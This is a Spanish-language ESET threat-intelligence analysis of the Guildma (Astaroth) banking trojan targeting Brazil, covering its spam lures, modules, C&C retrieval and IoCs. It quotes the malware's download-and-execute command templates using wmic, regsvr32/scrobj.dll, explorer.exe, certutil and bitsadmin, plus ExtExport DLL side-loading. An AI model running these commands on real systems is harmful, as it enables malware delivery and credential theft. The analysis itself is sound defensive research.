Guildma: un troyano bancario muy activo en Brasil | WeLiveSecurity

Guildma: un troyano bancario muy activo en Brasil

Como parte de nuestra serie sobre troyanos bancarios de América Latina, analizamos a Guildma, un troyano de mucha actividad que apunta únicamente a Brasil.

Como parte de nuestra serie sobre troyanos bancarios de América Latina, analizamos a Guildma, un troyano de mucha actividad que apunta únicamente a Brasil.

En esta publicación analizaremos a Guildma (también conocido como Astaroth, un poderoso demonio), un troyano bancario latinoamericano de gran prevalencia. Este troyano, escrito en Delphi, que apunta a usuarios de Brasil, cuenta con algunas técnicas de ejecución y ataque innovadoras. En esta publicación describiremos la versión más reciente de este troyano, destacando los cambios más importantes realizados desde mediados de 2019, cuando se publicaron varios artículos sobre Guildma a raíz de lo que fue su campaña más grande hasta el momento.

Características de Guildma

Guildma es un troyano bancario que apunta sus campañas exclusivamente a Brasil. Según datos de nuestra telemetría (y también por la atención pública que recibió), creemos que es el troyano bancario más impactante y avanzado de la región. Además de apuntar a las instituciones financieras, Guildma también intenta robar credenciales de cuentas de correo electrónico, tiendas en línea y servicios de streaming, y afecta a una cantidad de víctimas diez veces mayor que cualquiera de los otros troyanos bancarios ya descritos en nuestra serie sobre troyanos bancarios de América Latina. Asimismo, utiliza innovadores métodos de ejecución y sofisticadas técnicas de ataque.

A diferencia de los otros troyanos bancarios que hemos descrito como parte de esta serie, Guildma no almacena las falsas ventanas emergentes que usa dentro del binario. En cambio, el ataque está orquestado por su servidor C&C. Esto les da a los autores una mayor flexibilidad para reaccionar ante las contramedidas implementadas por los bancos seleccionados.

Guildma implementa las siguientes funcionalidades de backdoor:

  • Realiza capturas de pantalla
  • Registra las pulsaciones de teclado
  • Emulación de teclado y mouse
  • Bloqueo de atajos de teclado (como deshabilitar Alt + F4 para que sea más difícil deshacerse de las ventanas falsas que puede mostrar)
  • Descarga y ejecuta archivos
  • Reinicio de la máquina

Guildma es muy modular. Al momento de escribir esta publicación está compuesto por 10 módulos, sin incluir las etapas de la cadena de distribución. La funcionalidad de los módulos individuales se discutirá más adelante.

Evolución de las cadenas de distribución

Según datos de nuestra telemetría, Guildma se propaga exclusivamente a través de correos spam que incluyen archivos adjuntos maliciosos. A continuación, compartimos algunos ejemplos de una campaña de mediados de noviembre de 2019.

Figura 1. Ejemplo de correo spam (traducción: “Hola, me podría explicar qué significan esas fotos. ¡Espero una explicación”)

Figura 2. Ejemplo de correo spam (traducción: ” Sr.(a) emiembro del consorcio, envío en adjunto el comprobante de la oferta nº 75432 realizada”).

Figura 3. Ejemplo de correo spam (traducción: “Buenos días, estoy enviando comprobante de la transferencia – DOC.Citibank”)

Figura 4. Ejemplo de correo spam. Falso recordatorio de factura indica que un pago vence después de mañana y que el pago puede demorar hasta 72 horas en procesarse.

Una de las características típicas de las cadenas de distribución de Guildma es la de utilizar herramientas ya presentes en el sistema, a menudo de formas nuevas e inusuales.

Otra característica es la reutilización de técnicas. Si bien agregan nuevas técnicas de vez en cuando, en general los desarrolladores parecen simplemente reutilizar técnicas de versiones anteriores.

Figura 5. Cadena de distribución de Guildma en la versión 150

La Figura 5 muestra la cadena de distribución para la versión 150, pero la estructura de las cadenas de distribución de Guildma es muy dinámica. Por ejemplo, en versiones anteriores, el archivo LNK malicioso que se muestra en la Figura 5 no estaba embebido en un archivo ZIP, o se utilizó en su lugar un archivo SFX RAR que contenía un instalador MSI. Además, solía haber otra etapa JScript cuyo único propósito era descargar y ejecutar la etapa JScript final. En síntesis, son demasiados los cambios que ha habido como para lograr comentarlos todos en este artículo. De hecho, la única parte que se ha mantenido prácticamente igual es la etapa JScript final.

Utilizando datos recabados del extenso seguimiento que hemos realizado de esta familia, hemos compilado una muy buena imagen de la actividad de Guildma.

La Figura 6 muestra todas las detecciones de ESET del componente de la primera etapa de Guildma. Como se puede observar, las campañas crecieron lentamente hasta la llegada de una campaña masiva en agosto de 2019, cuando vimos hasta 50,000 muestras por día. Esta campaña continuó durante casi dos meses y significó más del doble de la cantidad de detecciones que habíamos visto en los 10 meses anteriores.

Figura 6. Detecciones de la primera etapa de Guildma desde octubre de 2018

A continuación, presentamos un resumen de algunas de las técnicas más interesantes utilizadas en los últimos 14 meses.

Ejecución de la etapa JScript

Durante el último año, Guildma ha utilizado varios métodos para ejecutar las etapas JScript de su cadena de distribución. A finales de 2018, Guildma estaba ocultando su código en archivos eXtensible Stylesheet Language (.xsl) y utilizando wmic.exe para descargarlos y ejecutarlos:

wmic.exe <wmic query> /format:”<URL>”

Luego pasó a usar regsvr32.exe y scrobj.dll para descargar un objeto COM implementado con JScript y ejecutar su rutina de registro (que contenía el código malicioso):

regsvr32.exe /s /n /u /i:<URL> scrobj.dll

Más recientemente, los autores comenzaron a abusar del Explorador de Windows para ejecutar la etapa JScript. Este ataque se basa en que Windows Explorer intentará abrir en la línea de comandos cualquier archivo que le envíen con su programa asociado y el hecho de que la asociación predeterminada para los archivos .js es el Microsoft Windows Script Host. El “script” pasado al Explorador de Windows es un comando único cuyo propósito es descargar y ejecutar la etapa JScript real:

echo GetObject(‘script:<URL>’) > <file>.js | explorer.exe <random switches> <file>.js

Ejecución de los módulos binarios

Los métodos para ejecutar los módulos PE no son menos diversos.

Cuando comenzamos a rastrear Guildma, abusaba de aswRunDll.exe de Avast para lanzar la primera etapa binaria, con regsvr32.exe como una conmutación por error en computadoras en las que los productos de Avast no estaban instalados. El uso de aswRunDll.exe se eliminó, dejando regsvr32.exe como el único método de ejecución. Después de un breve período en el que utilizó rundll32.exe, Guildma cambió a su método de ejecución actual: ExtExport.exe.

ExtExport.exe es un componente indocumentado de Microsoft Internet Explorer que se utiliza para exportar marcadores desde Mozilla Firefox y 360 Secure Browser, y se puede abusar de él para la carga lateral de DLL. Cuando se ejecuta el siguiente comando, se cargan mozcrt19.dll, mozsqlite3.dll, y sqlite3.dll desde la carpeta especificada en la línea de comandos:

C:\Program Files\Internet Explorer\ExtExport.exe <folder> <dummy 1> <dummy 2>

Para abusar de esto, normalmente droppearía la DLL para cargarla como uno de los archivos mencionados anteriormente. Guildma usa los tres.

Descargando los módulos binarios

Guildma también ha utilizado un par de formas diferentes para descargar los módulos binarios. La primera versión estaba usando exe copiado a certis.exe (presumiblemente para evadir la detección):

certis.exe -urlcache -split -f “<URL>” “<destination path>”

Los autores luego cambiaron a BITSAdmin, la herramienta de administración Background Intelligent Transfer Service de Microsoft, y todavía la están usando al momento de escribir esta publicación:

bitsadmin.exe /transfer <random number> /priority foreground <URL> <destination>

Durante un par de meses, los módulos binarios fueron codificados en base64 y alojados en Google Cloud. En ese momento, Guildma estaba usando BITSAdmin y certutilBITSAdmin para descargar los módulos y certutil para decodificarlos.

Otros cambios

Guildma utiliza nombres extraños, no descriptivos de variables y funciones. Cuando comenzamos a rastrear a Guildma, los nombres, aunque carecían de sentido, estaban claramente hechos por el hombre (por ejemplo, “radador” para la función de número aleatorio o “Bxaki” para la función de descarga). En junio de 2019, todos se cambiaron a nombres de aspecto aleatorio (por ejemplo, “bx021” y “mrc430” ). Al principio pensamos que los autores implementaron algún tipo de ofuscador de scripts automático, pero resultó ser un cambio único y los nombres han permanecido igual desde entonces.

Una adición relativamente nueva es la antigua técnica de utilizar ADS (Alternate Data Streams) para almacenar los módulos binarios. Todos los módulos ahora se almacenan como ADS de un solo archivo (por ejemplo, “desktop.ini: nauwuygiaa.jpg“, “desktop.ini: nauwuygiab.jpg“, etc.).

Historial de versiones

Aparentemente, Guildma ha pasado por muchas versiones durante su desarrollo, pero generalmente hubo muy poco desarrollo entre versiones, debido a su pesada arquitectura que utiliza valores de configuración hardcodeados, los autores deben recopilar todos los binarios para cada nueva campaña. Un trabajo que claramente no está completamente automatizado, ya que a menudo ha habido un retraso significativo entre la actualización del número de versión en los scripts y en los binarios.

En este artículo, cubrimos la versión 150, pero desde que comenzamos a escribir, se han lanzado dos versiones más. No contienen cambios sustanciales en la funcionalidad o distribución, lo que respalda nuestras afirmaciones sobre el ciclo de desarrollo de Guildma.

La etapa final de la cadena de distribución solía contener un nombre de versión (e incluso antes de eso, solía descargar dicho nombre junto con los módulos binarios), pero ha sido (presumiblemente) reemplazado permanentemente con un simple “xXx” desde la versión 148.

La Tabla 1 resume todas las versiones lanzadas desde que comenzamos a rastrear Guildma activamente en octubre de 2018. Al observar las strings de versiones, tenemos la sensación de que el autor es un apasionado de la ecología y los autos veloces.

Tabla 1. Historial de versiones de Guildma

First seenVersion numberVersion nameVersion prefix
2018-09-18131131_SUPER_Teslamarxvxinhhm
2018-10-31132132_ULTRA_Teslasrsysddirrx
2018-11-28133133_TORRE_DE_Teslamxgetronicosxy
2018-11-29134134_MAXX_TESLAsdwqiopawsamazon
2018-12-03135135_MOAB_TESLAslu769tsla
2018-12-13136136_KRAKEN_TESLAslrdsnhrxxfery
2019-02-06137137_RAPTOR_TESLAsrakpat0rpcack
2019-03-21138138_RAPTOR_TESLAs_hillwd763free
2019-05-20139139_TESLA_falxconxrenw
2019-06-03140140_ASTH_valehraysystqx
2019-06-24141141_T3SL4S_ayt3ese4xw
2019-07-17142142_T3SL4S_halawxtz
2019-08-09143143_T3SL4S_asmonnwqk
2019-08-26144144_MULT1T3SL4S_daffsyshqy
2019-09-26145145_MULT1T3SL4S_landoqeahjky
2019-10-16146146_MULT1T3SL4S_valkanxpca
2019-11-04147147_MULT1T3SL4S_koddsuffy
2019-11-19148xXxlpquayevvt
2019-11-22149nauwuygia
2019-12-13150andrealfo
2020-01-14151balberith
2020-02-05152masihaddajjal

Descripción del módulo

Como se mencionó anteriormente, Guildma es muy modular. La estructura de sus módulos parece ser mayormente constante. En esta sección, describiremos brevemente la funcionalidad de cada módulo.

Todos los nombres de los módulos están compuestos por: un prefijo compartido y dependiente de la versión y un sufijo específico del módulo. En la Tabla 2, el prefijo dependiente de la versión es andrealfo.

Table 2. Guildma module overview

URL filenameFilesystem filenameModule
andrealfohh1a.dll.zipandrealfo64.~
Main module loader 1 (part 1)
andrealfohh1b.dll.zipMain module loader 1 (part 2)
andrealfoxa.gif.zip
andrealfoxa.gif
Main module injector (part 1)
andrealfoxb.gif.zipandrealfoxb.gifMain module injector (part 2)
andrealfoxc.gif.zip
andrealfoxc.gifMain module injector (part 3)
andrealfogx.gif.zip
andrealfogx.gifMain module loader 2
andrealfog.gif.zip
andrealfog.gifMain module
andrealfoc.jpg.zip
andrealfoc.jpgContacts stealer and form grabber module
andrealfodwwn.gif.zip
andrealfodwwn.gifRAT module (DLL)
andrealfodx.gif.zip
andrealfodx.gifRAT module (EXE)
andrealfoa.jpg.zip
andrealfoa.jpgMailPassView
andrealfob.jpg.zip
andrealfob.jpgWebBrowserPassView
andrealfoi.gif.zip
andrealfoi.gifJScript dropper module

A excepción del módulo principal loader 1 (*64.~) y del módulo injector principal (*xa.gif, *xb.gif and *xc.gif), todos los módulos están encriptados con un simple cifrado XOR usando una repetición Clave de 32 bytes. La clave se genera a partir de un seed de 32 bits utilizando el algoritmo que se muestra en la Figura 7. El valor del seed se ofusca en los binarios para evitar una extracción simple (ver Figura 8).

Figura 7. Algoritmo de generación de claves

Figura 8. Ofuscación del seed en el binario

Tres módulos se comunican con un servidor C&C: el módulo principal, el módulo RAT y el módulo para robar contactos y capturar formularios. La comunicación se realiza a través de HTTP (S) utilizando una combinación de base64 y varios algoritmos de cifrado simples y personalizados para proteger los datos que se transfieren.

En la siguiente sección, describimos cómo se obtiene la dirección del servidor C&C.

Módulo principal loader 1 (* 64. ~)

Esta es la primera etapa binaria de la cadena. El archivo es una DLL descargada en dos partes que es concatenada en la etapa JScript anterior. Carga los tres archivos que comprenden el loader de la siguiente etapa (*xa.gif, *xb.gif y *xc.gif), los concatena, asigna el archivo PE resultante en su propio espacio de direcciones y lo ejecuta.

Cargar un archivo PE es un proceso relativamente complejo, por lo que los autores utilizaron la biblioteca de código abierto BTMemoryModule para este propósito

Injector del módulo principal (* xa.gif + * xb.gif + * xc.gif)

Este módulo carga la siguiente etapa (* gx.gif) del disco y la descifra. Luego ejecuta el primer ejecutable existente de la siguiente lista e inyecta el payload descifrado en él.

  1. C:\Program Files\AVAST Software\Avast\aswRunDll.exe
  2. C:\Program Files\Diebold\Warsaw\unins000.exe *
  3. C:\Windows\SysWOW64\userinit.exe
  4. C:\Windows\System32\userinit.exe

* Una aplicación, popular en Brasil, para proteger el acceso a la banca en línea.

Módulo principal loader 2 (* gx.gif)

La última etapa del loader es muy simple y parece duplicar innecesariamente la funcionalidad del módulo principal loader 1. Carga y descifra el módulo principal (*g.gif), lo mapea en su propio espacio de memoria y lo ejecuta

Módulo principal (* g.gif)

El módulo principal de Guildma organiza todos los módulos restantes. Su implementación es engañosamente compleja, utilizando innumerables temporizadores y eventos, pero su funcionalidad es relativamente simple. Contiene código heredado que ya no es utilizado, así como el código de pre-producción que todavía no está siendo utilizado.

Una vez cargado, este módulo verifica si está siendo ejecutado en un entorno de sandbox (por ejemplo, examinando el nombre de la computadora y la ID del volumen del disco del sistema), si hay otras instancias de sí mismo en ejecución (según los nombres de las ventanas) y si la configuración regional del sistema es diferente del portugués. Si este proceso comprueba que el sistema no es interesante o que ya ha sido comprometido por Guildma, el malware termina.

De lo contrario, el módulo recopila información del sistema (nombre de la computadora, qué antivirus está utilizando, qué programas tiene instalados…) y establece contacto con el servidor de C&C. Luego, comienza a monitorear eventos interesantes, principalmente cuando se inician ciertas aplicaciones o se abren sitios de banca en línea, y a ejecutar ciertas acciones (por ejemplo: tomar capturas de pantalla, evitar que el usuario cierre la ventana interceptando atajos de teclado, inicia el módulo RAT, etc.).

El módulo también implementa comandos de backdoor cuya funcionalidad se superpone en gran medida con el módulo RAT.

Ladrón de contactos y capturador de formularios (* c.jpg)

Este módulo tiene dos funciones: recopilar direcciones de correo electrónico y datos de formularios de páginas web.

Las direcciones de correo electrónico se obtienen de los clientes de correo electrónico de escritorio (como Microsoft Outlook, ThunderBird y The Bat!) parseando sus libretas de direcciones y los propios correos electrónicos.

El capturador de formularios utiliza la tecnología de Windows COM para interactuar con Internet Explorer. Espera hasta que se abra un sitio específico (en su mayoría servicios de correo brasileños, tiendas electrónicas y pasarelas de pago) y luego cierra la sesión del usuario, obligando a la víctima a ingresar sus credenciales. Luego recupera el DOM y busca valores de campo de entrada importantes (como nombres de usuario, contraseñas y números de tarjetas de crédito).

Módulo RAT (* dwwn.gif, * dx.gif)

El módulo RAT viene en dos compilaciones funcionalmente idénticas: DLL (*dwwn.gif) y EXE (*.dx.gif)

Implementa la funcionalidad de descarga y ejecución, puede realizar capturas de pantalla, emular acciones de teclado y mouse, y reiniciar la computadora.

La mayoría de los troyanos bancarios de América Latina muestran falsas ventanas emergentes basadas en el monitoreo del nombre de la ventana activa. Estas ventanas generalmente se almacenan en el binario. No hemos encontrado dicho código en Guildma, pero el módulo RAT contiene un formulario Delphi que implementa un navegador web simple. Dado que también se ejecuta según el nombre de la ventana activa, creemos que este formulario se utiliza para desplegar falsos diálogos al usuario.

MailPassView (* a.jpg) y BrowserPassView (* b.jpg)

Estas son herramientas gratuitas de Nirsoft para extraer credenciales guardadas tanto de clientes de correo electrónico populares como de navegadores web. Dado que en las versiones más recientes Nirsoft ha eliminado el soporte para ciertas operaciones (output a archivo, sin GUI) para detener el abuso de estas herramientas por malware, los autores de Guildma están utilizando versiones anteriores que sí tenían esas características. Mispadu también aprovecha las mismas herramientas, excepto que Mispadu está utilizando versiones más nuevas parcheadas para soportar dichas operaciones

Módulo dropper de JScript (* i.gif)

Este módulo descarta y ejecuta (usando cscript.exe) un archivo JScript. El script consta de dos partes: la primera parte se almacena como una string larga cifrada, mientras que la segunda parte se ensambla a partir de muchas strings cortas (algunas cifradas y otras en texto plano).

El script ejecuta las siguientes acciones

  • Deshabilita UAC
  • Deshabilita la comprobación de firma EXE
  • Deshabilita Windows Defender
  • Crea una regla de firewall que deshabilita el acceso a la red para
    C:\Program Files\AVAST Software\Avast\Setup\avast.setup
  • Deshabilita el driver wsddntf (Diebold Warsaw GAS Tecnologia – el software de protección de acceso bancario presentado anteriormente)
  • Agrega una excepción de firewall para archivos utilizados como objetivos de inyección
    • C:\Program Files\Diebold\Warsaw\unins000.exe
    • C:\Program Files\AVAST Software\Avast\aswRunDll.exe

Creemos que este módulo aún puede estar en desarrollo, ya que nunca hemos observado en nuestras máquinas de prueba el droppeado de script.

Nuevos desarrollos (desde mediados de 2019)

Nueva recuperación de C&C

En la versión 142 se implementó una nueva forma de distribuir servidores C&C abusando de los perfiles de YouTube y Facebook. Sin embargo, los autores dejaron de usar Facebook casi de inmediato, pero al momento de escribir esta publicación, confían completamente en YouTube. Esto es similar a Casbaneiro, aunque un poco más crudo. Mientras Casbaneiro ocultaba los datos en las descripciones de los videos y los ofuscaba como parte de una URL, Guildma simplemente coloca los datos en la descripción del canal. El inicio y el final de las direcciones C&C cifradas están delimitados por “|||”. Los datos intermedios están codificados y cifrados en base64 utilizando el algoritmo de cifrado de strings de Mispadu. Este es ahora el método principal para recuperar servidores C&C. El método anterior (descrito por Avast) todavía está presente como una copia de seguridad.

Figura 9. Dominios cifrados del servidor C&C de Guildma almacenados en YouTube

Módulos añadidos y eliminados

El módulo dropper de JScript descrito anteriormente se agregó en la versión 145. Por el contrario, en la versión 139, Guildma eliminó otros dos módulos presentes en versiones anteriores: el correo masivo (*f.jpg) y su loader (*e.jpg). En las siguientes versiones, estos módulos todavía eran accesibles con los nombres esperados (<version prefix>e.jpg y <version prefix>f.jpg) desde el mismo servidor que los otros módulos. Esto nos lleva a creer que estos módulos aún están en desarrollo, pero ahora solo se distribuyen según sea necesario, presumiblemente utilizando el comando de descarga y ejecución de backdoor.

Nuevo cifrado de strings

El módulo dropper de JScript trajo consigo un nuevo algoritmo de cifrado de strings. Una variante de este algoritmo (que se muestra en la Figura 10) se propagó a otros módulos en la versión 147.

Figura 10. Nuevo algoritmo de cifrado de strings

Originalmente, Guildma estaba usando el mismo cifrado de strings que Casbaneiro. El nuevo algoritmo tiene cuatro etapas y, como se puede ver, el algoritmo de cifrado de strings original todavía se usa como la primera etapa. También vale la pena destacar el hecho de que la cuarta etapa está utilizando nuevamente el algoritmo de cifrado de Mispadu.

En la versión 148, Guildma implementó una tabla de strings. Todas las strings se descifran al comienzo de la ejecución y se accede a ellas desde la tabla cuando es necesario.

Eliminación de blancos internacionales

En la versión 138, Guildma agregó la capacidad para apuntar a instituciones (principalmente bancos) fuera de Brasil. A pesar de eso, no hemos observado campañas internacionales. Las campañas que alojan archivos en la infraestructura de Cloudflare Workers incluso llegaron a bloquear cualquier descarga que provenga de IP no brasileñas. De hecho, en los últimos 14 meses no hemos visto ninguna campaña dirigida a usuarios fuera de Brasil

Finalmente, en la versión 145 se eliminó la capacidad de apuntar a instituciones fuera de Brasil. En base a estos hechos, creemos que fue simplemente una característica en desarrollo que terminó siendo descartada.

Conclusión

En esta parte de la serie hemos hablado sobre Guildma, el más frecuente que hemos visto de los troyanos bancarios de América Latina. Hemos mostrado su rico desarrollo histórico mientras nos centramos en la variante más reciente.

Guildma comparte una vez más las características predominantes de los troyanos bancarios latinoamericanos. Está escrito en Delphi, apunta a la región, implementa la funcionalidad de backdoor, divide su funcionalidad en muchos módulos y abusa de herramientas legítimas.

Guildma también comparte características con otras de las familias que hemos analizado anteriormente como parte de esta serie sobre troyanos bancarios de América Latina. A saber, su algoritmo de cifrado actual combina los utilizados por Casbaneiro y Mispadu.

Para cualquier consulta escríbanos a threatintel@eset.com. Los indicadores de compromiso también se pueden encontrar en nuestro repositorio de GitHub.

Indicadores de Compromiso (IoCs)

Hashes

SHA-1DescriptionESET Detection name
45c58bc40768dce6a6c611e08fd34c62441aa776Main module loader 1Win32/Spy.Guildma.BM
861f20b0dcc55f94b4c43e4a7e77f042c21506cfMain module injectorWin32/Spy.Guildma.BJ
37fd19b1ab1dcc25e07bc96d4c02d81cf4edb8a1Main module loader 2Win32/Spy.Guildma.Q
a7b10b8de2b0ef898cff31fa2d9d5cbaae2e9d0dMain moduleWin32/Spy.Guildma.BS
4f65736a9d6b94b376c58b3cdcb49bbd295cd8ccContacts stealer and form grabberWin32/Spy.Guildma.D
6c9304c5862d4e0de1c86d7ae3764f5e8358daffRAT module (DLL)Win32/Spy.Guildma.BR
89fbffe456de850f7abf4f97d3b9da4bad6afb57RAT module (EXE)Win32/Spy.Guildma.BR
af0d495ecc3622b14a40ddcd8005873c5ddc3a2dMailPassViewWin32/PSWTool.MailPassView.E
92bcf54079cbba04f584eac4486473c3abdd88cdWebBrowserPassViewWin32/PSWTool.WebBrowserPassView.E
a2048f435f076988bf094274192a196216d75a5fJScript dropper moduleWin32/Spy.Guildma.BP

Nombres de archivo

C:\Users\Public\Libraries\qlanl\*

Link de inicio

  • Ubicación

%APPDATA%\Microsoft\Programs\StartUp\reiast%USERNAME%%COMPUTERNAME%.lnk

  • Blancos

C:\Program Files (x86)\Internet Explorer\ExtExport.exe
C:\Program Files\Internet Explorer\ExtExport.exe

  • Args

<install dir> <rand> <rand>
(where <rand> is a random, 5 to 9 character long string generated from the alphabet qwertyuiop1lgfdsas2dfghj3zcvbnmm)

Servidores C&C

  • https://www.zvatrswtsrw[.]ml
  • https://xskcjzamlkxwo[.]gq
  • https://www.vhguyeu[.]ml
  • https://www.carnataldez[.]ml
  • https://www.movbmog[.]ga
  • https://iuiuytrytrewrqw[.]gq
  • https://www.gucinowertr[.]tk
  • https://equilibrios[.]ga
  • https://www.clooinfor[.]cf
  • https://ambirsr[.]tk
  • https://dbuhcbudyu[.]tk
  • https://nvfjvtntt[.]cf
  • http://whia7g.acquafufheirybveru[.]online

Técnicas de MITRE ATT&CK

TacticIDNameDescription
Initial AccessT1193Spearphishing AttachmentGuildma distribution chains start with a malicious email attachment.
ExecutionT1073Rundll32Guildma utilizes rundll32.exe to execute its binary modules.
T1047Windows Management InstrumentationGuildma abuses WMIC.exe to execute some of its distribution chain stages.
PersistenceT1060Registry Run Keys / Startup FolderGuildma ensures persistence by creating a LNK file in the %STARTUP% folder.
Defense EvasionT1197BITS JobsBITSAdmin.exe is used to download binary modules.
T1089Disabling Security ToolsGuildma disables Windows Defender.
T1140Deobfuscate/Decode Files or InformationThe majority of Guildma modules need to be decrypted after downloading.
T1073DLL Side-LoadingGuildma abuses ExtExport.exe for DLL Side-Loading.
T1096NTFS File AttributesGuildma utilizes ADS to hide its modules on disk.
T1055Process InjectionGuildma utilizes process injection when executing its modules.
T1064ScriptingGuildma implements its distribution chain stages in various scripting languages (mainly JScript).
T1220XSL Script ProcessingGuildma utilizes XSL script(s) in its distribution chains.
Credential AccessT1081Credentials in FilesGuildma extracts credentials stored by web browsers and email clients in files.
T1214Credentials in RegistryGuildma extracts credentials stored by web browsers and email clients in Windows Registry.
DiscoveryT1083File and Directory DiscoveryGuildma uses presence of certain files to determine whether banking and security tools are installed.
T1010Application Window DiscoveryGuildma uses window discovery to find and terminate older versions of itself and to detect when interesting programs (e.g. banking applications or web browsers) are running.
T1063Security Software DiscoveryGuildma detects the presence of several security products.
T1082System Information DiscoveryGuildma collects OS version and bitness, computer name and system locale.
T1497Virtualization/Sandbox EvasionGuildma uses directory names, computer names, volume IDs, and existence of named objects to detect sandboxes and virtualized environments.
CollectionT1113Screen CaptureGuildma is capable of taking screenshots.
Command and ControlT1024Custom Cryptographic ProtocolNew C&C addresses are encrypted using custom encryption algorithms.
ExfiltrationT1041Exfiltration Over Command and Control ChannelGuildma uploads screenshots and log files to the C&C server.

Newsletter

Discusión